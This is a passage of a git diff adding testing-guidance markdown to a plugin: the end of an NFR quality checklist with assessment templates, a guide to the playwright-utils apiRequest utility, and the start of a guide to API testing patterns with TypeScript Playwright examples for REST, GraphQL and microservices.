+- 8.2 (Backward Compatibility): Separate DB migrations from code deploys, support N-1 schema
+- 8.3 (Rollback): Automate rollback on health check failures, test rollback procedures
+
+---
+
+## Usage in Test Design Workflow
+
+**System-Level Mode (Phase 3):**
+
+**In test-design-architecture.md:**
+
+- Add "NFR Testability Requirements" section after ASRs
+- Use 8 categories with checkboxes (29 criteria)
+- For each criterion: Status (⬜ Not Assessed, ⚠️ Gap, ✅ Covered), Gap description, Risk if unmet
+- Example:
+
+```markdown
+## NFR Testability Requirements
+
+**Based on ADR Quality Readiness Checklist**
+
+### 1. Testability & Automation
+
+Can we verify this effectively without manual toil?
+
+| Criterion                                                        | Status          | Gap/Requirement                      | Risk if Unmet                           |
+| ---------------------------------------------------------------- | --------------- | ------------------------------------ | --------------------------------------- |
+| ⬜ Isolation: Can service be tested with downstream deps mocked? | ⚠️ Gap          | No mock endpoints for Athena queries | Flaky tests; can't test in isolation    |
+| ⬜ Headless: 100% business logic accessible via API?             | ✅ Covered      | All MCP tools are REST APIs          | N/A                                     |
+| ⬜ State Control: Seeding APIs to inject data states?            | ⚠️ Gap          | Need `/api/test-data` endpoints      | Long setup times; can't test edge cases |
+| ⬜ Sample Requests: Valid/invalid cURL/JSON samples provided?    | ⬜ Not Assessed | Pending ADR Tool schemas finalized   | Ambiguity on how to consume service     |
+
+**Actions Required:**
+
+- [ ] Backend: Implement mock endpoints for Athena (R-002 blocker)
+- [ ] Backend: Implement `/api/test-data` seeding APIs (R-002 blocker)
+- [ ] PM: Finalize ADR Tool schemas with sample requests (Q4)
+```
+
+**In test-design-qa.md:**
+
+- Map each criterion to test scenarios
+- Add "NFR Test Coverage Plan" section with P0/P1/P2 priority for each category
+- Reference Architecture doc gaps
+- Example:
+
+```markdown
+## NFR Test Coverage Plan
+
+**Based on ADR Quality Readiness Checklist**
+
+### 1. Testability & Automation (4 criteria)
+
+**Prerequisites from Architecture doc:**
+
+- [ ] R-002: Test data seeding APIs implemented (blocker)
+- [ ] Mock endpoints available for Athena queries
+
+| Criterion                       | Test Scenarios                                                       | Priority | Test Count | Owner            |
+| ------------------------------- | -------------------------------------------------------------------- | -------- | ---------- | ---------------- |
+| Isolation: Mock downstream deps | Mock Athena queries, Mock Milvus, Service runs isolated              | P1       | 3          | Backend Dev + QA |
+| Headless: API-accessible logic  | All MCP tools callable via REST, No UI dependency for business logic | P0       | 5          | QA               |
+| State Control: Seeding APIs     | Create test customer, Seed 1000 transactions, Inject edge cases      | P0       | 4          | QA               |
+| Sample Requests: cURL examples  | Valid request succeeds, Invalid request fails with clear error       | P1       | 2          | QA               |
+
+**Detailed Test Scenarios:**
+
+- [ ] Isolation: Service runs with Athena mocked (returns fixture data)
+- [ ] Isolation: Service runs with Milvus mocked (returns ANN fixture)
+- [ ] State Control: Seed test customer with 1000 baseline transactions
+- [ ] State Control: Inject edge case (expired subscription user)
+```
+
+---
+
+## Usage in NFR Assessment Workflow
+
+**Output Structure:**
+
+```markdown
+# NFR Assessment: {Feature Name}
+
+**Based on ADR Quality Readiness Checklist (8 categories, 29 criteria)**
+
+## Assessment Summary
+
+| Category                      | Status      | Criteria Met | Evidence                               | Next Action          |
+| ----------------------------- | ----------- | ------------ | -------------------------------------- | -------------------- |
+| 1. Testability & Automation   | ⚠️ CONCERNS | 2/4          | Mock endpoints missing                 | Implement R-002      |
+| 2. Test Data Strategy         | ✅ PASS     | 3/3          | Faker + auto-cleanup                   | None                 |
+| 3. Scalability & Availability | ⚠️ CONCERNS | 1/4          | SLA undefined                          | Define SLA           |
+| 4. Disaster Recovery          | ⚠️ CONCERNS | 0/3          | No RTO/RPO defined                     | Define recovery plan |
+| 5. Security                   | ✅ PASS     | 4/4          | OAuth 2.1 + TLS + Vault + Sanitization | None                 |
+| 6. Monitorability             | ⚠️ CONCERNS | 2/4          | No metrics endpoint                    | Add /metrics         |
+| 7. QoS & QoE                  | ⚠️ CONCERNS | 1/4          | Latency targets undefined              | Define SLOs          |
+| 8. Deployability              | ✅ PASS     | 3/3          | Blue/Green + DB migrations + Rollback  | None                 |
+
+**Overall:** 14/29 criteria met (48%) → ⚠️ CONCERNS
+
+**Gate Decision:** CONCERNS (requires mitigation plan before GA)
+
+---
+
+## Detailed Assessment
+
+### 1. Testability & Automation (2/4 criteria met)
+
+**Question:** Can we verify this effectively without manual toil?
+
+| Criterion                    | Status | Evidence                 | Gap/Action                 |
+| ---------------------------- | ------ | ------------------------ | -------------------------- |
+| ⬜ Isolation: Mock deps      | ⚠️     | No Athena mock           | Implement mock endpoints   |
+| ⬜ Headless: API-accessible  | ✅     | All MCP tools are REST   | N/A                        |
+| ⬜ State Control: Seeding    | ⚠️     | `/api/test-data` pending | Pre-implementation blocker |
+| ⬜ Sample Requests: Examples | ⬜     | Pending schemas          | Finalize ADR Tools         |
+
+**Overall Status:** ⚠️ CONCERNS (2/4 criteria met)
+
+**Next Actions:**
+
+- [ ] Backend: Implement Athena mock endpoints (pre-implementation)
+- [ ] Backend: Implement `/api/test-data` (pre-implementation)
+- [ ] PM: Finalize sample requests (implementation phase)
+
+{Repeat for all 8 categories}
+```
+
+---
+
+## Benefits
+
+**For test-design workflow:**
+
+- ✅ Standard NFR structure (same 8 categories every project)
+- ✅ Clear testability requirements for Architecture team
+- ✅ Direct mapping: criterion → requirement → test scenario
+- ✅ Comprehensive coverage (29 criteria = no blind spots)
+
+**For nfr-assess workflow:**
+
+- ✅ Structured assessment (not ad-hoc)
+- ✅ Quantifiable (X/29 criteria met)
+- ✅ Evidence-based (each criterion has evidence field)
+- ✅ Actionable (gaps → next actions with owners)
+
+**For Architecture teams:**
+
+- ✅ Clear checklist (29 yes/no questions)
+- ✅ Risk-aware (each criterion has "risk if unmet")
+- ✅ Scoped work (only implement what's needed, not everything)
+
+**For QA teams:**
+
+- ✅ Comprehensive test coverage (29 criteria → test scenarios)
+- ✅ Clear priorities (P0 for security/isolation, P1 for monitoring, etc.)
+- ✅ No ambiguity (each criterion has specific test scenarios)
diff --git a/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/api-request.md b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/api-request.md
new file mode 100644
index 0000000..a66cef5
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/api-request.md
@@ -0,0 +1,563 @@
+# API Request Utility
+
+## Principle
+
+Use typed HTTP client with built-in schema validation and automatic retry for server errors. The utility handles URL resolution, header management, response parsing, and single-line response validation with proper TypeScript support. **Works without a browser** - ideal for pure API/service testing.
+
+## Rationale
+
+Vanilla Playwright's request API requires boilerplate for common patterns:
+
+- Manual JSON parsing (`await response.json()`)
+- Repetitive status code checking
+- No built-in retry logic for transient failures
+- No schema validation
+- Complex URL construction
+
+The `apiRequest` utility provides:
+
+- **Automatic JSON parsing**: Response body pre-parsed
+- **Built-in retry**: 5xx errors retry with exponential backoff
+- **Schema validation**: Single-line validation (JSON Schema, Zod, OpenAPI)
+- **URL resolution**: Four-tier strategy (explicit > config > Playwright > direct)
+- **TypeScript generics**: Type-safe response bodies
+- **No browser required**: Pure API testing without browser overhead
+
+## Pattern Examples
+
+### Example 1: Basic API Request
+
+**Context**: Making authenticated API requests with automatic retry and type safety.
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/api-request/fixtures';
+
+test('should fetch user data', async ({ apiRequest }) => {
+  const { status, body } = await apiRequest<User>({
+    method: 'GET',
+    path: '/api/users/123',
+    headers: { Authorization: 'Bearer token' },
+  });
+
+  expect(status).toBe(200);
+  expect(body.name).toBe('John Doe'); // TypeScript knows body is User
+});
+```
+
+**Key Points**:
+
+- Generic type `<User>` provides TypeScript autocomplete for `body`
+- Status and body destructured from response
+- Headers passed as object
+- Automatic retry for 5xx errors (configurable)
+
+### Example 2: Schema Validation (Single Line)
+
+**Context**: Validate API responses match expected schema with single-line syntax.
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/api-request/fixtures';
+import { z } from 'zod';
+
+// JSON Schema validation
+test('should validate response schema (JSON Schema)', async ({ apiRequest }) => {
+  const { status, body } = await apiRequest({
+    method: 'GET',
+    path: '/api/users/123',
+    validateSchema: {
+      type: 'object',
+      required: ['id', 'name', 'email'],
+      properties: {
+        id: { type: 'string' },
+        name: { type: 'string' },
+        email: { type: 'string', format: 'email' },
+      },
+    },
+  });
+  // Throws if schema validation fails
+  expect(status).toBe(200);
+});
+
+// Zod schema validation
+const UserSchema = z.object({
+  id: z.string(),
+  name: z.string(),
+  email: z.string().email(),
+});
+
+test('should validate response schema (Zod)', async ({ apiRequest }) => {
+  const { status, body } = await apiRequest({
+    method: 'GET',
+    path: '/api/users/123',
+    validateSchema: UserSchema,
+  });
+  // Response body is type-safe AND validated
+  expect(status).toBe(200);
+  expect(body.email).toContain('@');
+});
+```
+
+**Key Points**:
+
+- Single `validateSchema` parameter
+- Supports JSON Schema, Zod, YAML files, OpenAPI specs
+- Throws on validation failure with detailed errors
+- Zero boilerplate validation code
+
+### Example 3: POST with Body and Retry Configuration
+
+**Context**: Creating resources with custom retry behavior for error testing.
+
+**Implementation**:
+
+```typescript
+test('should create user', async ({ apiRequest }) => {
+  const newUser = {
+    name: 'Jane Doe',
+    email: 'jane@example.com',
+  };
+
+  const { status, body } = await apiRequest({
+    method: 'POST',
+    path: '/api/users',
+    body: newUser, // Automatically sent as JSON
+    headers: { Authorization: 'Bearer token' },
+  });
+
+  expect(status).toBe(201);
+  expect(body.id).toBeDefined();
+});
+
+// Disable retry for error testing
+test('should handle 500 errors', async ({ apiRequest }) => {
+  await expect(
+    apiRequest({
+      method: 'GET',
+      path: '/api/error',
+      retryConfig: { maxRetries: 0 }, // Disable retry
+    }),
+  ).rejects.toThrow('Request failed with status 500');
+});
+```
+
+**Key Points**:
+
+- `body` parameter auto-serializes to JSON
+- Default retry: 5xx errors, 3 retries, exponential backoff
+- Disable retry with `retryConfig: { maxRetries: 0 }`
+- Only 5xx errors retry (4xx errors fail immediately)
+
+### Example 4: URL Resolution Strategy
+
+**Context**: Flexible URL handling for different environments and test contexts.
+
+**Implementation**:
+
+```typescript
+// Strategy 1: Explicit baseUrl (highest priority)
+await apiRequest({
+  method: 'GET',
+  path: '/users',
+  baseUrl: 'https://api.example.com', // Uses https://api.example.com/users
+});
+
+// Strategy 2: Config baseURL (from fixture)
+import { test } from '@seontechnologies/playwright-utils/api-request/fixtures';
+
+test.use({ configBaseUrl: 'https://staging-api.example.com' });
+
+test('uses config baseURL', async ({ apiRequest }) => {
+  await apiRequest({
+    method: 'GET',
+    path: '/users', // Uses https://staging-api.example.com/users
+  });
+});
+
+// Strategy 3: Playwright baseURL (from playwright.config.ts)
+// playwright.config.ts
+export default defineConfig({
+  use: {
+    baseURL: 'https://api.example.com',
+  },
+});
+
+test('uses Playwright baseURL', async ({ apiRequest }) => {
+  await apiRequest({
+    method: 'GET',
+    path: '/users', // Uses https://api.example.com/users
+  });
+});
+
+// Strategy 4: Direct path (full URL)
+await apiRequest({
+  method: 'GET',
+  path: 'https://api.example.com/users', // Full URL works too
+});
+```
+
+**Key Points**:
+
+- Four-tier resolution: explicit > config > Playwright > direct
+- Trailing slashes normalized automatically
+- Environment-specific baseUrl easy to configure
+
+### Example 5: Integration with Recurse (Polling)
+
+**Context**: Waiting for async operations to complete (background jobs, eventual consistency).
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/fixtures';
+
+test('should poll until job completes', async ({ apiRequest, recurse }) => {
+  // Create job
+  const { body } = await apiRequest({
+    method: 'POST',
+    path: '/api/jobs',
+    body: { type: 'export' },
+  });
+
+  const jobId = body.id;
+
+  // Poll until ready
+  const completedJob = await recurse(
+    () => apiRequest({ method: 'GET', path: `/api/jobs/${jobId}` }),
+    (response) => response.body.status === 'completed',
+    { timeout: 60000, interval: 2000 },
+  );
+
+  expect(completedJob.body.result).toBeDefined();
+});
+```
+
+**Key Points**:
+
+- `apiRequest` returns full response object
+- `recurse` polls until predicate returns true
+- Composable utilities work together seamlessly
+
+### Example 6: Microservice Testing (Multiple Services)
+
+**Context**: Test interactions between microservices without a browser.
+
+**Implementation**:
+
+```typescript
+import { test, expect } from '@seontechnologies/playwright-utils/fixtures';
+
+const USER_SERVICE = process.env.USER_SERVICE_URL || 'http://localhost:3001';
+const ORDER_SERVICE = process.env.ORDER_SERVICE_URL || 'http://localhost:3002';
+
+test.describe('Microservice Integration', () => {
+  test('should validate cross-service user lookup', async ({ apiRequest }) => {
+    // Create user in user-service
+    const { body: user } = await apiRequest({
+      method: 'POST',
+      path: '/api/users',
+      baseUrl: USER_SERVICE,
+      body: { name: 'Test User', email: 'test@example.com' },
+    });
+
+    // Create order in order-service (validates user via user-service)
+    const { status, body: order } = await apiRequest({
+      method: 'POST',
+      path: '/api/orders',
+      baseUrl: ORDER_SERVICE,
+      body: {
+        userId: user.id,
+        items: [{ productId: 'prod-1', quantity: 2 }],
+      },
+    });
+
+    expect(status).toBe(201);
+    expect(order.userId).toBe(user.id);
+  });
+
+  test('should reject order for invalid user', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: '/api/orders',
+      baseUrl: ORDER_SERVICE,
+      body: {
+        userId: 'non-existent-user',
+        items: [{ productId: 'prod-1', quantity: 1 }],
+      },
+    });
+
+    expect(status).toBe(400);
+    expect(body.code).toBe('INVALID_USER');
+  });
+});
+```
+
+**Key Points**:
+
+- Test multiple services without browser
+- Use `baseUrl` to target different services
+- Validate cross-service communication
+- Pure API testing - fast and reliable
+
+### Example 7: GraphQL API Testing
+
+**Context**: Test GraphQL endpoints with queries and mutations.
+
+**Implementation**:
+
+```typescript
+test.describe('GraphQL API', () => {
+  const GRAPHQL_ENDPOINT = '/graphql';
+
+  test('should query users via GraphQL', async ({ apiRequest }) => {
+    const query = `
+      query GetUsers($limit: Int) {
+        users(limit: $limit) {
+          id
+          name
+          email
+        }
+      }
+    `;
+
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: GRAPHQL_ENDPOINT,
+      body: {
+        query,
+        variables: { limit: 10 },
+      },
+    });
+
+    expect(status).toBe(200);
+    expect(body.errors).toBeUndefined();
+    expect(body.data.users).toHaveLength(10);
+  });
+
+  test('should create user via mutation', async ({ apiRequest }) => {
+    const mutation = `
+      mutation CreateUser($input: CreateUserInput!) {
+        createUser(input: $input) {
+          id
+          name
+        }
+      }
+    `;
+
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: GRAPHQL_ENDPOINT,
+      body: {
+        query: mutation,
+        variables: {
+          input: { name: 'GraphQL User', email: 'gql@example.com' },
+        },
+      },
+    });
+
+    expect(status).toBe(200);
+    expect(body.data.createUser.id).toBeDefined();
+  });
+});
+```
+
+**Key Points**:
+
+- GraphQL via POST request
+- Variables in request body
+- Check `body.errors` for GraphQL errors (not status code)
+- Works for queries and mutations
+
+### Example 8: Operation-Based Overload (OpenAPI / Code Generators)
+
+**Context**: When using a code generator (orval, openapi-generator, custom scripts) that produces typed operation definitions from an OpenAPI spec, pass the operation object directly to `apiRequest`. This eliminates manual `method`/`path` extraction and `typeof` assertions while preserving full type inference for request body, response, and query parameters. Available since v3.14.0.
+
+**Implementation**:
+
+```typescript
+// Generated operation definition — structural typing, no import from playwright-utils needed
+// type OperationShape = { path: string; method: 'POST'|'GET'|'PUT'|'DELETE'|'PATCH'|'HEAD'; response: unknown; request: unknown; query?: unknown }
+
+import { test, expect } from '@seontechnologies/playwright-utils/api-request/fixtures';
+
+// --- Basic usage: operation replaces method + path ---
+test('should upsert person via operation overload', async ({ apiRequest }) => {
+  const { status, body } = await apiRequest({
+    operation: upsertPersonv2({ customerId }),
+    headers: getHeaders(customerId),
+    body: personInput, // compile-time typed as Schemas.PersonInput
+  });
+
+  expect(status).toBe(200);
+  expect(body.id).toBeDefined(); // body typed as Schemas.Person
+});
+
+// --- Typed query parameters (replaces string concatenation) ---
+test('should list people with typed query', async ({ apiRequest }) => {
+  const { body } = await apiRequest({
+    operation: getPeoplev2({ customerId }),
+    headers: getHeaders(customerId),
+    query: { page: 0, page_size: 5 }, // typed from operation's query definition
+  });
+
+  expect(body.items).toHaveLength(5);
+});
+
+// --- Params escape hatch (pre-formatted query strings) ---
+test('should fetch billing history with raw params', async ({ apiRequest }) => {
+  const { body } = await apiRequest({
+    operation: getBillingHistoryv2({ customerId }),
+    headers: getHeaders(customerId),
+    params: {
+      'filters[start_date]': getThisMonthTimestamp(),
+      'filters[date_type]': 'MONTH',
+    },
+  });
+
+  expect(body.entries.length).toBeGreaterThan(0);
+});
+
+// --- Works with recurse (polling) ---
+test('should poll until person is reviewed', async ({ apiRequest, recurse }) => {
+  await recurse(
+    async () =>
+      apiRequest({
+        operation: getPersonv2({ customerId, hash }),
+        headers: getHeaders(customerId),
+      }),
+    (res) => {
+      expect(res.status).toBe(200);
+      expect(res.body.status).toBe('REVIEWED');
+    },
+    { timeout: 30000, interval: 1000 },
+  );
+});
+
+// --- Schema validation chains work identically ---
+test('should create movie with schema validation', async ({ apiRequest }) => {
+  const { body } = await apiRequest({
+    operation: createMovieOp,
+    headers: commonHeaders(authToken),
+    body: movie,
+  }).validateSchema(CreateMovieResponseSchema, {
+    shape: { status: 200, data: { name: movie.name } },
+  });
+
+  expect(body.data.id).toBeDefined();
+});
+```
+
+**Key Points**:
+
+- Pass `operation` instead of `method` + `path` — mutually exclusive at compile time
+- Response body, request body, and query types inferred from operation definition
+- Uses structural typing (duck typing) — works with any code generator producing `{ path, method, response, request, query? }`
+- `query` field auto-serializes to bracket notation (`filters[type]=pep`, `ids[0]=10`)
+- `params` escape hatch for pre-formatted strings — wins over `query` on conflict
+- Fully composable with `recurse`, `validateSchema`, and all existing features
+- `response`/`request`/`query` on the operation are type-level only — runtime never reads their values
+
+## Comparison with Vanilla Playwright
+
+| Vanilla Playwright                             | playwright-utils apiRequest                                                        |
+| ---------------------------------------------- | ---------------------------------------------------------------------------------- |
+| `const resp = await request.get('/api/users')` | `const { status, body } = await apiRequest({ method: 'GET', path: '/api/users' })` |
+| `const body = await resp.json()`               | Response already parsed                                                            |
+| `expect(resp.ok()).toBeTruthy()`               | Status code directly accessible                                                    |
+| No retry logic                                 | Auto-retry 5xx errors with backoff                                                 |
+| No schema validation                           | Built-in multi-format validation                                                   |
+| Manual error handling                          | Descriptive error messages                                                         |
+
+## When to Use
+
+**Use apiRequest for:**
+
+- ✅ Pure API/service testing (no browser needed)
+- ✅ Microservice integration testing
+- ✅ GraphQL API testing
+- ✅ Schema validation needs
+- ✅ Tests requiring retry logic
+- ✅ Background API calls in UI tests
+- ✅ Contract testing support
+- ✅ Type-safe API testing with OpenAPI-generated operations (v3.14.0+)
+
+**Stick with vanilla Playwright for:**
+
+- Simple one-off requests where utility overhead isn't worth it
+- Testing Playwright's native features specifically
+- Legacy tests where migration isn't justified
+
+## Related Fragments
+
+- `api-testing-patterns.md` - Comprehensive pure API testing patterns
+- `overview.md` - Installation and design principles
+- `auth-session.md` - Authentication token management
+- `recurse.md` - Polling for async operations
+- `fixtures-composition.md` - Combining utilities with mergeTests
+- `log.md` - Logging API requests
+- `contract-testing.md` - Pact contract testing
+
+## Anti-Patterns
+
+**❌ Ignoring retry failures:**
+
+```typescript
+try {
+  await apiRequest({ method: 'GET', path: '/api/unstable' });
+} catch {
+  // Silent failure - loses retry information
+}
+```
+
+**✅ Let retries happen, handle final failure:**
+
+```typescript
+await expect(apiRequest({ method: 'GET', path: '/api/unstable' })).rejects.toThrow(); // Retries happen automatically, then final error caught
+```
+
+**❌ Disabling TypeScript benefits:**
+
+```typescript
+const response: any = await apiRequest({ method: 'GET', path: '/users' });
+```
+
+**✅ Use generic types:**
+
+```typescript
+const { body } = await apiRequest<User[]>({ method: 'GET', path: '/users' });
+// body is typed as User[]
+```
+
+**❌ Mixing operation overload with explicit generics:**
+
+```typescript
+// Don't pass a generic when using operation — types are inferred from the operation
+const { body } = await apiRequest<MyType>({
+  operation: getPersonv2({ customerId }),
+  headers: getHeaders(customerId),
+});
+```
+
+**✅ Let the operation infer the types:**
+
+```typescript
+const { body } = await apiRequest({
+  operation: getPersonv2({ customerId }),
+  headers: getHeaders(customerId),
+});
+// body type inferred from operation.response
+```
+
+**❌ Mixing operation with method/path:**
+
+```typescript
+// Compile error — operation and method/path are mutually exclusive
+await apiRequest({
+  operation: getPersonv2({ customerId }),
+  method: 'GET', // Error: method?: never
+  path: '/api/person', // Error: path?: never
+});
+```
diff --git a/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/api-testing-patterns.md b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/api-testing-patterns.md
new file mode 100644
index 0000000..564f0b2
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/api-testing-patterns.md
@@ -0,0 +1,915 @@
+# API Testing Patterns
+
+## Principle
+
+Test APIs and backend services directly without browser overhead. Use Playwright's `request` context for HTTP operations, `apiRequest` utility for enhanced features, and `recurse` for async operations. Pure API tests run faster, are more stable, and provide better coverage for service-layer logic.
+
+## Rationale
+
+Many teams over-rely on E2E/browser tests when API tests would be more appropriate:
+
+- **Slower feedback**: Browser tests take seconds, API tests take milliseconds
+- **More brittle**: UI changes break tests even when API works correctly
+- **Wrong abstraction**: Testing business logic through UI layers adds noise
+- **Resource heavy**: Browsers consume memory and CPU
+
+API-first testing provides:
+
+- **Fast execution**: No browser startup, no rendering, no JavaScript execution
+- **Direct validation**: Test exactly what the service returns
+- **Better isolation**: Test service logic independent of UI
+- **Easier debugging**: Clear request/response without DOM noise
+- **Contract validation**: Verify API contracts explicitly
+
+## When to Use API Tests vs E2E Tests
+
+| Scenario                  | API Test      | E2E Test      |
+| ------------------------- | ------------- | ------------- |
+| CRUD operations           | ✅ Primary    | ❌ Overkill   |
+| Business logic validation | ✅ Primary    | ❌ Overkill   |
+| Error handling (4xx, 5xx) | ✅ Primary    | ⚠️ Supplement |
+| Authentication flows      | ✅ Primary    | ⚠️ Supplement |
+| Data transformation       | ✅ Primary    | ❌ Overkill   |
+| User journeys             | ❌ Can't test | ✅ Primary    |
+| Visual regression         | ❌ Can't test | ✅ Primary    |
+| Cross-browser issues      | ❌ Can't test | ✅ Primary    |
+
+**Rule of thumb**: If you're testing what the server returns (not how it looks), use API tests.
+
+## Pattern Examples
+
+### Example 1: Pure API Test (No Browser)
+
+**Context**: Test REST API endpoints directly without any browser context.
+
+**Implementation**:
+
+```typescript
+// tests/api/users.spec.ts
+import { test, expect } from '@playwright/test';
+
+// No page, no browser - just API
+test.describe('Users API', () => {
+  test('should create user', async ({ request }) => {
+    const response = await request.post('/api/users', {
+      data: {
+        name: 'John Doe',
+        email: 'john@example.com',
+        role: 'user',
+      },
+    });
+
+    expect(response.status()).toBe(201);
+
+    const user = await response.json();
+    expect(user.id).toBeDefined();
+    expect(user.name).toBe('John Doe');
+    expect(user.email).toBe('john@example.com');
+  });
+
+  test('should get user by ID', async ({ request }) => {
+    // Create user first
+    const createResponse = await request.post('/api/users', {
+      data: { name: 'Jane Doe', email: 'jane@example.com' },
+    });
+    const { id } = await createResponse.json();
+
+    // Get user
+    const getResponse = await request.get(`/api/users/${id}`);
+    expect(getResponse.status()).toBe(200);
+
+    const user = await getResponse.json();
+    expect(user.id).toBe(id);
+    expect(user.name).toBe('Jane Doe');
+  });
+
+  test('should return 404 for non-existent user', async ({ request }) => {
+    const response = await request.get('/api/users/non-existent-id');
+    expect(response.status()).toBe(404);
+
+    const error = await response.json();
+    expect(error.code).toBe('USER_NOT_FOUND');
+  });
+
+  test('should validate required fields', async ({ request }) => {
+    const response = await request.post('/api/users', {
+      data: { name: 'Missing Email' }, // email is required
+    });
+
+    expect(response.status()).toBe(400);
+
+    const error = await response.json();
+    expect(error.code).toBe('VALIDATION_ERROR');
+    expect(error.details).toContainEqual(expect.objectContaining({ field: 'email', message: expect.any(String) }));
+  });
+});
+```
+
+**Key Points**:
+
+- No `page` fixture needed - only `request`
+- Tests run without browser overhead
+- Direct HTTP assertions
+- Clear error handling tests
+
+### Example 2: API Test with apiRequest Utility
+
+**Context**: Use enhanced apiRequest for schema validation, retry, and type safety.
+
+**Implementation**:
+
+```typescript
+// tests/api/orders.spec.ts
+import { test, expect } from '@seontechnologies/playwright-utils/api-request/fixtures';
+import { z } from 'zod';
+
+// Define schema for type safety and validation
+const OrderSchema = z.object({
+  id: z.string().uuid(),
+  userId: z.string(),
+  items: z.array(
+    z.object({
+      productId: z.string(),
+      quantity: z.number().positive(),
+      price: z.number().positive(),
+    }),
+  ),
+  total: z.number().positive(),
+  status: z.enum(['pending', 'processing', 'shipped', 'delivered']),
+  createdAt: z.string().datetime(),
+});
+
+type Order = z.infer<typeof OrderSchema>;
+
+test.describe('Orders API', () => {
+  test('should create order with schema validation', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest<Order>({
+      method: 'POST',
+      path: '/api/orders',
+      body: {
+        userId: 'user-123',
+        items: [
+          { productId: 'prod-1', quantity: 2, price: 29.99 },
+          { productId: 'prod-2', quantity: 1, price: 49.99 },
+        ],
+      },
+      validateSchema: OrderSchema, // Validates response matches schema
+    });
+
+    expect(status).toBe(201);
+    expect(body.id).toBeDefined();
+    expect(body.status).toBe('pending');
+    expect(body.total).toBe(109.97); // 2*29.99 + 49.99
+  });
+
+  test('should handle server errors with retry', async ({ apiRequest }) => {
+    // apiRequest retries 5xx errors by default
+    const { status, body } = await apiRequest({
+      method: 'GET',
+      path: '/api/orders/order-123',
+      retryConfig: {
+        maxRetries: 3,
+        retryDelay: 1000,
+      },
+    });
+
+    expect(status).toBe(200);
+  });
+
+  test('should list orders with pagination', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest<{ orders: Order[]; total: number; page: number }>({
+      method: 'GET',
+      path: '/api/orders',
+      params: { page: 1, limit: 10, status: 'pending' },
+    });
+
+    expect(status).toBe(200);
+    expect(body.orders).toHaveLength(10);
+    expect(body.total).toBeGreaterThan(10);
+    expect(body.page).toBe(1);
+  });
+});
+```
+
+**Key Points**:
+
+- Zod schema for runtime validation AND TypeScript types
+- `validateSchema` throws if response doesn't match
+- Built-in retry for transient failures
+- Type-safe `body` access
+- **Note**: If your project uses code-generated operations from an OpenAPI spec, see [Example 8](#example-8-operation-based-api-testing-openapi--code-generators) for the preferred `operation`-based overload (v3.14.0+)
+
+### Example 3: Microservice-to-Microservice Testing
+
+**Context**: Test service interactions without browser - validate API contracts between services.
+
+**Implementation**:
+
+```typescript
+// tests/api/service-integration.spec.ts
+import { test, expect } from '@seontechnologies/playwright-utils/fixtures';
+
+test.describe('Service Integration', () => {
+  const USER_SERVICE_URL = process.env.USER_SERVICE_URL || 'http://localhost:3001';
+  const ORDER_SERVICE_URL = process.env.ORDER_SERVICE_URL || 'http://localhost:3002';
+  const INVENTORY_SERVICE_URL = process.env.INVENTORY_SERVICE_URL || 'http://localhost:3003';
+
+  test('order service should validate user exists', async ({ apiRequest }) => {
+    // Create user in user-service
+    const { body: user } = await apiRequest({
+      method: 'POST',
+      path: '/api/users',
+      baseUrl: USER_SERVICE_URL,
+      body: { name: 'Test User', email: 'test@example.com' },
+    });
+
+    // Create order in order-service (should validate user via user-service)
+    const { status, body: order } = await apiRequest({
+      method: 'POST',
+      path: '/api/orders',
+      baseUrl: ORDER_SERVICE_URL,
+      body: {
+        userId: user.id,
+        items: [{ productId: 'prod-1', quantity: 1 }],
+      },
+    });
+
+    expect(status).toBe(201);
+    expect(order.userId).toBe(user.id);
+  });
+
+  test('order service should reject invalid user', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: '/api/orders',
+      baseUrl: ORDER_SERVICE_URL,
+      body: {
+        userId: 'non-existent-user',
+        items: [{ productId: 'prod-1', quantity: 1 }],
+      },
+    });
+
+    expect(status).toBe(400);
+    expect(body.code).toBe('INVALID_USER');
+  });
+
+  test('order should decrease inventory', async ({ apiRequest, recurse }) => {
+    // Get initial inventory
+    const { body: initialInventory } = await apiRequest({
+      method: 'GET',
+      path: '/api/inventory/prod-1',
+      baseUrl: INVENTORY_SERVICE_URL,
+    });
+
+    // Create order
+    await apiRequest({
+      method: 'POST',
+      path: '/api/orders',
+      baseUrl: ORDER_SERVICE_URL,
+      body: {
+        userId: 'user-123',
+        items: [{ productId: 'prod-1', quantity: 2 }],
+      },
+    });
+
+    // Poll for inventory update (eventual consistency)
+    const { body: updatedInventory } = await recurse(
+      () =>
+        apiRequest({
+          method: 'GET',
+          path: '/api/inventory/prod-1',
+          baseUrl: INVENTORY_SERVICE_URL,
+        }),
+      (response) => response.body.quantity === initialInventory.quantity - 2,
+      { timeout: 10000, interval: 500 },
+    );
+
+    expect(updatedInventory.quantity).toBe(initialInventory.quantity - 2);
+  });
+});
+```
+
+**Key Points**:
+
+- Multiple service URLs for microservice testing
+- Tests service-to-service communication
+- Uses `recurse` for eventual consistency
+- No browser needed for full integration testing
+
+### Example 4: GraphQL API Testing
+
+**Context**: Test GraphQL endpoints with queries and mutations.
+
+**Implementation**:
+
+```typescript
+// tests/api/graphql.spec.ts
+import { test, expect } from '@seontechnologies/playwright-utils/api-request/fixtures';
+
+const GRAPHQL_ENDPOINT = '/graphql';
+
+test.describe('GraphQL API', () => {
+  test('should query users', async ({ apiRequest }) => {
+    const query = `
+      query GetUsers($limit: Int) {
+        users(limit: $limit) {
+          id
+          name
+          email
+          role
+        }
+      }
+    `;
+
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: GRAPHQL_ENDPOINT,
+      body: {
+        query,
+        variables: { limit: 10 },
+      },
+    });
+
+    expect(status).toBe(200);
+    expect(body.errors).toBeUndefined();
+    expect(body.data.users).toHaveLength(10);
